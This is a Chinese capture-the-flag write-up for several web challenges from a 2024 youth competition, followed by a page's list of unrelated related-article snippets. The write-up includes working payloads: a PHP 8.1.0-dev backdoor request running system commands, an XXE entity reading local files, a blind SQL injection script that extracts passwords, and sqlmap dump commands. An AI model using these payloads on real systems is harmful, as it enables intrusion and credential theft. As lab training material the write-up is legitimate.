3.1_2024ctf青少年比赛部分web题

php后门

在这里插入图片描述
根据x-powered-by知道php的版本
该版本存在漏洞:
PHP 8.1.0-dev 开发版本后门

在这里插入图片描述

根据报错信息,进行提示,前

GET / HTTP/1.1
Host: challenge.qsnctf.com:31639
User-Agentt:12345678system('cat /flag');var_dump(2*3);zerodium12345678system('tac /flag');
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 2


成功执行tac /flag命令

理解原理来做就好
https://www.modb.pro/db/104464
这种文章只是演示类的,一般比赛都不会是原题直出的
https://blog.csdn.net/zy15667076526/article/details/116447864

EasyMD5

在这里插入图片描述

可以找到原题
参考文章:
https://blog.csdn.net/qq_74240553/article/details/135740695
使用工具fastcoll,生成两个相同md5的pdf文件
在这里插入图片描述

xxe漏洞

参考文章:
https://blog.csdn.net/qq_61553520/article/details/130655389

libxml版本是2.8.0,可能存在xml漏洞
在这里插入图片描述
这又是一道原题
https://blog.csdn.net/qq_74240553/article/details/135644491

在这里插入图片描述

POST /dom.php HTTP/1.1
Host: challenge.qsnctf.com:32592
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 155
Origin: http://challenge.qsnctf.com:32592
Connection: close
Referer: http://challenge.qsnctf.com:32592/dom.php
Upgrade-Insecure-Requests: 1

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>&xxe;</name>
</root>

Easy_SQLi

在这里插入图片描述

在这里插入图片描述
确认存在注入
使用时间盲注,进行测试

import requests
import sys
import time

url = "http://challenge.qsnctf.com:31230/login.php"
flag = ""
for i in range(1,80):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
        #qsnctf
        #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        #users
        #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))<{})#".format(i,mid)
        #USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
        payload = "admin'and (ascii(substr((select group_concat(password) from users),{},1))<{})#".format(i,mid)

        data = {
            "uname":payload,
            "psw":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("Invalid username or password")<0:
            max = mid
        else:
            min = mid 

在这里插入图片描述
成功测试出flag

方法二:使用sqlmap一把梭

sqlmap -r 123.txt --tables
在这里插入图片描述
这里不知道为什么这里不可以用–current-db进行测试当前的数据库
但是上面的方法还是可以知道当前的数据库是有个叫qsnct的

sqlmap -r 123.txt -D qsnctf --tables
在这里插入图片描述
有个users表
查一下字段有什么
sqlmap -r 123.txt -D qsnctf -T users --columns
在这里插入图片描述
既然又password肯定要去看一下
在这里插入图片描述
脱数据
sqlmap -r 123.txt -D qsnctf -T users -C password --dump
在这里插入图片描述
这个就是flag,由于时间问题就没有放完了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/430119.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

QChart柱状图

//柱状图// 创建柱状图数据QBarSet *set0 new QBarSet("");*set0 << 1601 << 974 << 655 << 362;QBarSeries *series new QBarSeries();series->append(set0);set0->setColor(QColor("#F5834B"));// 创建柱状图QChart *ch…

高校校园点餐系统|基于B/S结构+ Mysql+Java+JSP技术的高校校园点餐系统平台设计与实现(源码+数据库+文档+PPT)

目录 摘 要 数据库设计 用户信息实体图 食堂信息实体图 留言板信息实体图 数据库表设计 系统详细设计 前台首页功能模块 管理员功能模块 食堂功能模块 用户功能模块 论文参考 文末获取源码联系 摘 要 21世纪的今天&#xff0c;随着社会的不断发展与进步&#xff…

STM 32 HAL库 UART 调试的问题

问题1&#xff1a;STM32G0 系列 DMA中断接收&#xff0c;应用层无法接收到数据 分析&#xff1a; Debug发现&#xff0c;最终没有进入串口中断函数 。 于是&#xff0c;检查Stm32CubeMX 的工程配置 两个串口的全局中断没有使能。 解决&#xff1a;勾选上图中红框部分&#x…

docker 常用命令大全(基础、镜像、容器、数据卷)

文章目录 1.docker基础命令2.docker镜像命令2.1 镜像名称2.2 镜像命令2.3 案例1--拉取、查看镜像2.4 案例2--保存、导入镜像 3.docker容器命令3.1 容器命令3.2 案例--创建并运行一个容器3.3 案例--进入容器&#xff0c;修改文件3.4 小结 4.数据卷4.1 什么是数据卷4.2 数据卷操作…

【Android】位置修改相关

获取位置服务总开关状态 //获取LOCATION_MODE值&#xff0c;但adb状态下无法获取 //0为关闭&#xff0c;1 gps、2 network、3 高精度等 int state Settings.Secure.getInt(mContext.getContentResolver(),Settings.Secure.LOCATION_MODE,Settings.Secure.LOCATION_MODE_HIGH_…

Netty(1)nio

一. NIO 基础 non-blocking io 非阻塞 IO 1. 三大组件 1.1 Channel & Buffer channel 有一点类似于 stream&#xff0c;它就是读写数据的双向通道&#xff0c;可以从 channel 将数据读入 buffer&#xff0c;也可以将 buffer 的数据写入 channel&#xff0c;而之前的 st…

多平台拼音输入法软件的开发

拼音输入法从上个世纪发展到现在, 已经发展了几十年了, 技术上已经非常成熟了. 换句话说, 就是实际上没多少技术含量, 随便来个人就能手搓一个. 本文介绍一个简单的多平台拼音输入法软件的设计和实现, 支持 GNU/Linux (ibus) 平台 (PC) 和 Android 平台 (手机). 目录 1 中文输…

JVM(类加载机制)

类加载就是 .class 文件, 从文件(硬盘) 被加载到内存(元数据区)中的过程 类加载的过程 加载: 找 .class 文件的过程, 打开文件, 读文件, 把文件读到内存中 验证: 检查 .class 文件的格式是否正确 .class 是一个二进制文件, 其格式有严格的说明 准备: 给类对象分配内存空间 (先在…

[数据集][目标检测]鸡蛋破蛋数据集VOC+YOLO格式792张2类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;792 标注数量(xml文件个数)&#xff1a;792 标注数量(txt文件个数)&#xff1a;792 标注类别…

OpenDDS 在 Windows 上的编译环境部署指南

目录 1、OpenDDS2、编译OpenDDS2.1、准备工作2.2、配置环境变量2.3、编译-TAO_IDL_ACE2.4、编译-TAO_ACE2.5、编译-ACE2.7、生成OpenDDS的解决方案2.8、编译-DDS_no_test2.9、编译-DDS 1、OpenDDS OpenDDS是使用C语言针对OMG数据分发服务(DDS)的一种开源实现。由OCI公司设计和…

07. Nginx进阶-Nginx负载均衡

简介 负载均衡 什么是负载均衡&#xff1f; 负载均衡&#xff0c;英文名称为Load Balance&#xff0c;其含义就是指将负载&#xff08;工作任务&#xff09;进行平衡、分摊到多个操作单元上进行运行。 Nginx负载均衡 什么是Nginx负载均衡&#xff1f; Nginx负载均衡可以大…

Kubernetes 二进制部署 《easzlab / kubeasz项目部署》- 00-规划集群和配置介绍(二)

Kubernetes 二进制部署 - easzlab / kubeasz项目部署 00-规划集群和配置介绍1.首先创建集群配置实例2. 修改配置文件 在前一章&#xff0c;我们部署了一些基本环境&#xff0c;服务器&#xff0c;接下来&#xff0c;我们开始部署k8s相关组件 server list 类型IP主机名VIPgitl…

STM32 TIM编码器接口

单片机学习&#xff01; 目录 文章目录 前言 一、编码器接口简介 1.1 编码器接口作用 1.2 编码器接口工作流程 1.3 编码器接口资源分布 1.4 编码器接口输入引脚 二、正交编码器 2.1 正交编码器功能 2.2 引脚作用 2.3 如何测量方向 2.4 正交信号优势 2.5 执行逻辑 三、编码器定时…

WebGIS开发0基础必看教程:地图瓦片在Canvas上的拼接显示

1.前言 在之前的五个章节中&#xff0c;我们在第一章节里介绍了WebGIS的基本框架和技术&#xff0c;第二章节里介绍了什么是瓦片行列号以及计算它的原因&#xff0c;第三章节里介绍了如何通过地理范围计算出这个范围内瓦片的行列号&#xff0c;第四和第五章节里介绍了在得到瓦…

如何让 JOIN 跑得更快?

JOIN 一直是数据库性能优化的老大难问题&#xff0c;本来挺快的查询&#xff0c;一旦涉及了几个 JOIN&#xff0c;性能就会陡降。而且&#xff0c;参与 JOIN 的表越大越多&#xff0c;性能就越难提上来。 其实&#xff0c;让 JOIN 跑得快的关键是要对 JOIN 分类&#xff0c;分…

C++max函数的使用案例20个

文章目录 1. **基本用法&#xff1a;**2. **比较浮点数&#xff1a;**3. **比较字符串&#xff1a;**4. **使用自定义比较函数&#xff1a;**5. **比较容器中的元素&#xff1a;**6. **使用std::initializer_list&#xff1a;**7. **变长参数版本&#xff08;C11及以上&#xf…

c++的队列的用法

基本介绍 c的队列就是std::queue。 需要包含的头文件&#xff1a; #include<queue>queue就是先进先出队列 queue,就是队列&#xff0c;队列是一种容器适配器&#xff0c;专门设计用于在FIFO上下文中操作(先进先出)&#xff0c;其中将元素插入容器的一端并从另一端提…

广东Lenovo SR588服务器维修升级硬盘内存

本案例描述了对联想SR588服务器进行硬件升级的过程&#xff0c;包括更换固态硬盘作为系统盘&#xff0c;以及增加内存容量至128GB。升级后&#xff0c;服务器性能得到显著提升&#xff0c;同时通过重新配置RAID阵列和操作系统的重新安装&#xff0c;确保了系统的稳定性和数据的…

华为路由器 三层交换实现vlan通信 实验(附ensp实验源文件)

一、目标 通过三层交换实现vlan通信 二、网络配置 2.1 交换机1&#xff08;LSW1&#xff09;配置 # 创建两个vlan vlan 10 vlan 20# 配置g0/0/1端口 port link-type access port default vlan 10# 配置g0/0/2端口 port link-type access port default vlan 20# 配置g0/0/3端口…

STM32F1 - SPI读写Flash

Serial peripheral interface 1> 实验概述2> SPI硬件框图初始化程序 3> STM32的SPI通信时序3.1> 时序图3.2> 文字描述3.3> 注意事项3.4> 流程图表示3.5> 程序表示接收程序&#xff1a;发送程序&#xff1a; 4> SPI的4种模式5> W25Q128存储结构块…